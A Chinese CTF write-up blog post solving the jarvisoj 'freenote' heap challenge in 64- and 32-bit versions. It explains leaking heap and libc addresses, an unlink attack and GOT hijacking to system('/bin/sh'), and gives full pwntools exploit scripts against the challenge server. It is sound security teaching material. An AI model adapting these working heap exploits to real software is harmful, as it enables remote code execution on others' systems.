前言

之前看过一点点堆的资料……然后就被劝退了,最近又硬着头皮捡起来看,打算用这道题来入门堆,调了两天,装了个 pwndbg ,看堆舒服了很多,最后总算是搞懂了,写篇文章总结一下。


解题思路

首先是保护机制:

[*] '/home/aluvion/\xe6\xa1\x8c\xe9\x9d\xa2/freenote_x64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

没有开 PIE,且 GOT 表可写。

IDA 反编译看代码,看到代码逻辑:

  • 先申请一个 0x1810 大小的堆作为索引表,然后将最大堆数 256 放进堆里
  • new note,将1(表示该堆已分配)、堆大小、堆地址放入索引表中,堆的大小是 0x80 的倍数
  • list note,按照索引表中的地址读取堆内容
  • edit note,按照索引表中的地址修改堆内容
  • delete note,按照索引表中的地址 free 堆

可以看到读入 note 内容的时候没有加上 \x00,利用 list note 功能可以泄露地址:

for ( i = 0; (signed int)i < (signed int)a2; i += v4 )
{
    v4 = read(0, (void *)(a1 + (signed int)i), (signed int)(a2 - i));
    if ( v4 <= 0 )
        break;
}

可以看到 delete_note 功能中存在漏洞,只要输入的 note 编号小于总数就可以 free,没有检查,存在 double free 和 UAF 漏洞,触发 unlink 就可以任意地址写:

if ( v1 >= 0 && (signed __int64)v1 < *(_QWORD *)qword_6020A8 )
{
    --*(_QWORD *)(qword_6020A8 + 8);
    *(_QWORD *)(qword_6020A8 + 24LL * v1 + 16) = 0LL;
    *(_QWORD *)(qword_6020A8 + 24LL * v1 + 24) = 0LL;
    free(*(void **)(qword_6020A8 + 24LL * v1 + 32));
    result = puts("Done.");
}

可以看到 edit_note 功能中,对输入长度没有做检验,可以溢出覆盖:

if ( v3 != *(_QWORD *)(qword_6020A8 + 24LL * v4 + 24) )
{
       v1 = (unsigned int)((signed int)(128 - (((((unsigned int)((unsigned __int64)v3 >> 32) >> 25) + (_BYTE)v3) & 0x7F) - ((unsigned int)((unsigned __int64)v3 >> 32) >> 25))) >> 31) >> 25;
    v2 = qword_6020A8;
    *(_QWORD *)(v2 + 24LL * v4 + 32) = realloc(*(void **)(qword_6020A8 + 24LL * v4 + 32), (signed int)((((_BYTE)v1 + -128 - (char)v3 % -128) & 0x7F) - v1 + v3));
    *(_QWORD *)(qword_6020A8 + 24LL * v4 + 24) = v3;
}
printf("Enter your note: ");
write_note_content(*(_QWORD *)(qword_6020A8 + 24LL * v4 + 32), v3);
result = puts("Done.");

那思路就很明确了:利用 list note 泄露地址,堆溢出伪造,然后通过触发 unlink 劫持 GOT 表,将某个函数地址改写为 system 来 getshell。

EXP 编写

泄露 heap 基地址 / 泄露 libc 基地址

原理

free 掉两个不连续的 chunk 之后,它们会被放入 unsorted bin 中,跟 unsorted bin 的地址通过 fd 和 bk 指针构成一个双向链表,比如我 free 了编号 1 和 3 的两个堆:

unsortedbin
all: 0x1cfa8b0 —▸ 0x1cfa9d0 —▸ 0x7f93c61a1b78 (main_arena+88) ◂— 0x1cfa8b0

由此我们有两种方案可以将地址泄露出来:

  • 从前一个堆进行溢出,覆盖掉被 free 堆的 head,这是 chunk0 和 chunk1 的数据,可以看到 chunk1 被 free 之后有了 fd 和 bk 两个指针(0xf2b8c0):

    pwndbg> x/40xg 0xf2b820
    0xf2b820:    0x0000000000000000    0x0000000000000091
    0xf2b830:    0x6161616161616161    0x6161616161616161
    0xf2b840:    0x6161616161616161    0x6161616161616161
    0xf2b850:    0x6161616161616161    0x6161616161616161
    0xf2b860:    0x6161616161616161    0x6161616161616161
    0xf2b870:    0x6161616161616161    0x6161616161616161
    0xf2b880:    0x6161616161616161    0x6161616161616161
    0xf2b890:    0x6161616161616161    0x6161616161616161
    0xf2b8a0:    0x6161616161616161    0x6161616161616161
    0xf2b8b0:    0x0000000000000000    0x0000000000000091
    0xf2b8c0:    0x0000000000f2b9d0    0x00007fe399d8eb78
    0xf2b8d0:    0x6262626262626262    0x6262626262626262
    0xf2b8e0:    0x6262626262626262    0x6262626262626262
    0xf2b8f0:    0x6262626262626262    0x6262626262626262
    0xf2b900:    0x6262626262626262    0x6262626262626262
    0xf2b910:    0x6262626262626262    0x6262626262626262
    0xf2b920:    0x6262626262626262    0x6262626262626262
    0xf2b930:    0x6262626262626262    0x6262626262626262
    

    chunk0 溢出覆盖 0xf2b8b0 地址处的 chunk1 的 head(0xf2b8b0),即可通过 list note 泄露处 0xf2b8c0 处的地址(chunk3地址和main_arena+88,即unsorted bin这个”chunk”的”head”)。

  • 原理同上,申请一个同样大小的新堆,如果内容长度不足这两个指针不会被覆盖,我们可以只覆盖 fd,泄露 bk。

libc 基地址计算
0x7fe399d8eb10 <__malloc_hook>:    0x0000000000000000    0x0000000000000000
0x7fe399d8eb20 <main_arena>:    0x0000000100000000    0x0000000000000000
libc_base = 泄露出来的(main_arena + 88)的地址 - libc.symbols["__malloc_hook"] - 88 - 0x10或者0x20

具体是 0x10 还是 0x20 就很玄学,比如这题我本地是 0x10,远程是 0x20。或者也可以在 unlink 之后利用任意地址写进行泄露。

heap 基地址计算
heap_base = 泄露出来的chunk3的地址 - 0x1810(一开始申请的大堆的大小) - 0x10(大堆的head) - 0x90(小堆的大小) * 3(chunk3之前的chunk的数量)
原理

我在 free 了 chunk0 之后,如果我再 free chunk1,就会触发向前合并,chunk0 就会被 unlink。而 unlink 操作中有一个这样子的操作:

FD = P -> fd                                                       
BK = P -> bk
FD -> bk = BK
BK -> fd = FD

通过这个操作,我们可以改写指向 chunk0 的指针 p(即索引表中的指针)指向 p - 3 的地址,然后我们利用 edit note 功能对 p 进行修改,即可实现任意地址写。

还会进行检查:

P -> fd -> bk == P
P -> bk -> fd == P
P -> fd_nextsize -> bk_nextsize == P
P -> bk_nextsize -> fd_nextsize == P

所以我们堆溢出伪造的时候需要加以注意。

栗子

泄露地址之后的 chunk0 和 chunk1 长这样:

0x730820:    0x0000000000000000    0x0000000000000121
0x730830:    0x6161616161616161    0x6161616161616161
0x730840:    0x6161616161616161    0x6161616161616161
0x730850:    0x6161616161616161    0x6161616161616161
0x730860:    0x6161616161616161    0x6161616161616161
0x730870:    0x6161616161616161    0x6161616161616161
0x730880:    0x6161616161616161    0x6161616161616161
0x730890:    0x6161616161616161    0x6161616161616161
0x7308a0:    0x6161616161616161    0x6161616161616161
0x7308b0:    0x6565656565656565    0x6565656565656565
0x7308c0:    0x6565656565656565    0x00007f43ad461b78
0x7308d0:    0x6262626262626262    0x6262626262626262
0x7308e0:    0x6262626262626262    0x6262626262626262
0x7308f0:    0x6262626262626262    0x6262626262626262
0x730900:    0x6262626262626262    0x6262626262626262
0x730910:    0x6262626262626262    0x6262626262626262
0x730920:    0x6262626262626262    0x6262626262626262
0x730930:    0x6262626262626262    0x6262626262626262

我们通过溢出伪造 chunk0 和 chunk1:

0x83a820:    0x0000000000000000    0x0000000000000121
0x83a830:    0x0000000000000000    0x0000000000000080
0x83a840:    0x0000000000839018    0x0000000000839020
0x83a850:    0x6161616161616161    0x6161616161616161
0x83a860:    0x6161616161616161    0x6161616161616161
0x83a870:    0x6161616161616161    0x6161616161616161
0x83a880:    0x6161616161616161    0x6161616161616161
0x83a890:    0x6161616161616161    0x6161616161616161
0x83a8a0:    0x6161616161616161    0x6161616161616161
0x83a8b0:    0x0000000000000080    0x0000000000000090
0x83a8c0:    0x7070707070707070    0x7070707070707070
0x83a8d0:    0x7070707070707070    0x7070707070707070
0x83a8e0:    0x7070707070707070    0x7070707070707070
0x83a8f0:    0x7070707070707070    0x7070707070707070
0x83a900:    0x7070707070707070    0x7070707070707070
0x83a910:    0x7070707070707070    0x7070707070707070
0x83a920:    0x7070707070707070    0x7070707070707070
0x83a930:    0x6262626262626262    0x6262626262626262

此时我们有一个指向 chunk0 的指针位于 0x839030(从0x839020开始,每三个数据代表一个chunk,即是否被分配、大小和地址):

0x839000:    0x0000000000000000    0x0000000000001821
0x839010:    0x0000000000000100    0x0000000000000003
0x839020:    0x0000000000000001    0x0000000000000100
0x839030:    0x000000000083a830    0x0000000000000000
0x839040:    0x0000000000000000    0x000000000083a8c0

显然 unlink 的检查可以绕过,并且在 unlink 之后我们可以覆盖指向 chunk0 的指针为 p - 3:

0x839000:    0x0000000000000000    0x0000000000001821
0x839010:    0x0000000000000100    0x0000000000000002
0x839020:    0x0000000000000001    0x0000000000000100
0x839030:    0x0000000000839018    0x0000000000000000
0x839040:    0x0000000000000000    0x000000000083a8c0

之后我们对 note 0 进行 edit 的时候,即可修改 0x0000000000839018 地址之后的数据,修改的时候注意哪里的数据需要修改,哪里的不需要修改。

泄露 libc 基地址

原理

利用 edit note 功能对 p 进行修改的时候,可以改写其中一个 chunk 的地址为想要泄露的地址,比如 elf.got[“atoi”],然后利用 list note 功能即可进行泄露。

栗子
0x839000:    0x0000000000000000    0x0000000000001821
0x839010:    0x0000000000000100    0x0000000000000002
0x839020:    0x0000000000000001    0x0000000000000100
0x839030:    0x0000000000839018    0x0000000000000000
0x839040:    0x0000000000000000    0x000000000083a8c0

将 0x839040 处的地址修改为 elf.got[“atoi”],在 list 的时候即可打印 atoi 函数的地址。

劫持 GOT 表

原理

利用 edit note 功能对 p 进行修改的时候,可以改写其中一个 chunk 的地址为想要覆盖的地址,比如 elf.got[“atoi”],然后利用 edit note 功能即可进行修改。

栗子
0x839000:    0x0000000000000000    0x0000000000001821
0x839010:    0x0000000000000100    0x0000000000000002
0x839020:    0x0000000000000001    0x0000000000000100
0x839030:    0x0000000000839018    0x0000000000000000
0x839040:    0x0000000000000000    0x000000000083a8c0

将 0x839040 处的地址修改为 elf.got[“atoi”],在 edit note1 的时候即可覆盖 atoi 函数的地址。

完整exp

在编写 exp 的时候还有很多细节需要注意:

  • new 5个 chunk,防止 free chunk3 的时候向top chunk合并。
  • 发送 note 内容的时候不要 sendline,换行符会被分开当成下一次输入时的 choice,影响 recvuntil 获取地址。
  • unlink 覆盖 p 之后,edit 的时候要注意长度要跟上次一样,不然会进入判断调用 realloc 导致程序崩溃。(payload.ljust(0x100, ‘p’))
  • 要 edit 的 chunk 在索引表中要表示为已分配。

不知道为什么这么写的也可以自行调试一下。

from pwn import *

context.log_level = "debug"
local = 0

elf = ELF("../../freenote_x64")

if local:
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    target = process("../../freenote_x64")
    gdb.attach(proc.pidof(target)[0]) 
else:
    libc = ELF("../../libc-2.19.so")
    target = remote("pwn2.jarvisoj.com", 9886)

malloc_hook_libc = libc.symbols["__malloc_hook"]
system_libc = libc.symbols["system"]


def list():
    target.sendlineafter('choice: ','1')


def new(payload):
    target.sendlineafter('choice: ','2')
    target.sendlineafter('new note: ',str(len(payload)))
    target.sendafter('note: ',payload)


def edit(num,payload):
    target.sendlineafter('choice: ','3')
    target.sendlineafter('number: ',str(num))
    target.sendlineafter('note: ',str(len(payload)))
    target.sendafter('your note: ',payload)


def delete(num):
    target.sendlineafter('choice: ','4')
    target.sendlineafter('number: ',str(num))


new('a' * 0x80)
new('b' * 0x80)
new('c' * 0x80)
new('d' * 0x80)
new('e' * 0x80)

delete(3)
delete(1)

log.progress('leak heap address')
edit(0,'a' * 0x80 + 'e' * 0x10)
list()
target.recvuntil("e" * 0x10)
heap_base = u64(target.recvuntil("\n", drop=True).ljust(0x8, '\x00')) - 0x1810 - 0x10 - 0x90 * 3
success("leak heap address OK")

log.progress('leak libc address')
edit(0,'a' * 0x80 + 'e' * 0x18)
list()
target.recvuntil("e" * 0x18)
libc_base = u64(target.recvuntil("\n", drop=True).ljust(0x8, '\x00')) - malloc_hook_libc - 0x20 - 88
success("leak libc address OK")

log.progress('unlink')
payload = p64(0) + p64(0x80) + p64(heap_base + 0x30 - 0x18) + p64(heap_base + 0x30 - 0x10) + 'a' * (0x80 - 4 * 8) + p64(0x80) + p64(0x90)
payload = payload.ljust(0x100, 'p')
edit(0, payload)
delete(1)
success("unlink OK")

payload = p64(2) + p64(1) + p64(0x80) + p64(heap_base + 0x30) + p64(1) + p64(8) + p64(elf.got["atoi"])
payload = payload.ljust(0x100, 'p')
edit(0, payload)
#list()
#target.recvuntil('1. ')
#libc_base2 = u64(target.recvuntil("\n",drop=True).ljust(0x8,'\x00')) - libc.symbols['atoi']

edit(1, p64(libc_base + system_libc))

success('heapbase: ' + hex(heap_base))
success('libcbase: ' + hex(libc_base))
#success('libcbase2: ' + hex(libc_base2))

target.sendlineafter('choice: ','/bin/sh\x00')

target.interactive()
target.close()

level6_x86

趁热打铁,今天做一做 32 位版本的题目加固一下,逻辑上没有太大变化,不过好像没有 atoi 函数,所以这次劫持的是 free 函数,将 /bin/sh 的字符串写入 note1 中,然后在改写索引表的时候注意不要修改了 note1 的地址,然后就是将 64 位的偏移修改一下就可以了:

from pwn import *

context.log_level = "debug"
local = 0

elf = ELF("../../freenote_x86")

if local:
    libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
    target = process("../../freenote_x86")
    gdb.attach(proc.pidof(target)[0]) 
else:
    libc = ELF("../../libc-2.19.so")
    target = remote("pwn2.jarvisoj.com", 9885)

memalign_hook_libc = libc.symbols["__memalign_hook"]
system_libc = libc.symbols["system"]


def list():
    target.sendlineafter('choice: ', '1')


def new(payload):
    target.sendlineafter('choice: ', '2')
    target.sendlineafter('new note: ', str(len(payload)))
    target.sendafter('note: ', payload)


def edit(num,payload):
    target.sendlineafter('choice: ', '3')
    target.sendlineafter('number: ', str(num))
    target.sendlineafter('note: ', str(len(payload)))
    target.sendafter('your note: ', payload)


def delete(num):
    target.sendlineafter('choice: ', '4')
    target.sendlineafter('number: ', str(num))


new('a' * 0x80)
new('b' * 0x80)
new('c' * 0x80)
new('d' * 0x80)
new('e' * 0x80)

delete(3)
delete(1)

log.progress('leak address')
edit(0, "a" * 0x80 + "e" * 0x8)
list()
target.recvuntil("e" * 0x08)
heap_base = u32(target.recv(4)) - 0xC10 - 0x08 - 0x88 * 3
libc_base = u32(target.recv(4)) - 48 - 0x20 - memalign_hook_libc
success("leak OK")
success("heap base: %s" % hex(heap_base))
success("libc base: %s" % hex(libc_base))

log.progress('unlink')
payload = p32(0) + p32(0x81) + p32(heap_base + 0x08 + 0x04 * 1) + p32(heap_base + 0x08 + 0x04 * 2)
payload += 'a' * (0x80 - 4 * 0x4) + p32(0x80) + p32(0x88) + "/bin/sh\x00"
payload = payload.ljust(0x90, "p")
edit(0, payload)
delete(1)
success("unlink OK")

payload = p32(2) + p32(1) + p32(0x4) + p32(elf.got["free"])
payload += p32(1) + p32(0x4) + p32(heap_base + 0x08 + 0xc10 + 0x88 * 1 + 0x08)
payload = payload.ljust(0x90, "p")
edit(0, payload)
edit(0, p32(libc_base + system_libc))

delete(1)

target.interactive()
target.close()

参考文章:

https://blog.csdn.net/qq_38204481/article/details/82808011

https://www.cnblogs.com/0xJDchen/p/6195919.html

https://www.360zhijia.com/anquan/427474.html

https://www.cnblogs.com/alisecurity/p/5486458.html

https://www.cnblogs.com/alisecurity/p/5520847.html

http://www.cnblogs.com/snip3r/p/9962960.html

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/heap_structure/


CTF Pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

HCTF2016-fheap学习
虚拟机环境搭建